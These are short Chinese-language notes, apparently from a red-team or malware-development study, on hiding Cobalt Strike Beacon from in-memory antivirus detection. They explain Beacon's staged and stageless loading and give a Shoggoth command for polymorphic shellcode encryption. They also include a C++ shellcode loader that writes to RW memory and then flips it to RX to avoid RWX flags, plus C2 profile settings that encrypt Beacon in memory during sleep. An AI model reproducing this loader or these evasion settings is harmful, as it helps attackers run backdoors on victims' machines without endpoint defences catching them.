内存特征规避
1.Beacon 加载流程
Stager
分阶段、文件小、行为特征明显
ShellCodeLoader 将 ShellCode 写入了申请的 RWX 内存
ShellCode 运行去下载了一个 Payload,默认分配 RWX 内存
Payload 运行加载 Beacon.dll,默认分配 RWX 内存
Stageless
不分阶段、文件大
ShellCodeLoader 将 ShellCode 写入了申请的 RWX 内存
ShellCode 运行加载 Beacon.dll,默认分配 RWX 内存
2.ShellCode 特征规避
与静态查杀的 ShellCode 特征规避不同,动态运行后 ShellCode 会解密出明文,导致特征的出现
ShellCode 混淆
像 JS 混淆一样,并非仅是密文,而是可以运行的代码
Shoggoth
GitHub - frkngksl/Shoggoth: Shoggoth: Asmjit Based Polymorphic Encryptor
Shoggoth -i ShellCode.bin -s 1234 -o Shoggoth.bin
3.ShellCodeLoader RWX 内存规避
不直接申请 RWX 内存,而是先申请 RW 内存写入 ShellCode,再将内存改为 RX
#include <iostream>
int main() {
unsigned char buf[] = "ShellCode";
void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_READWRITE);
memcpy(p, buf, sizeof buf);
DWORD oldProtect;
VirtualProtect((LPVOID)p, sizeof buf, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())p)();
}
4.C2Profile
C2Profile 是 Cobalt Strike 后门的配置文件,可以控制后门的特征和行为
内存特征规避
set cleanup "true"; # 自动清除 Stager 下载的 Payload 内存
set userwx "false"; # Beacon.dll 使用 RX 内存
set sleep_mask "true"; # sleep 时间自动加密 Beacon.dll 内存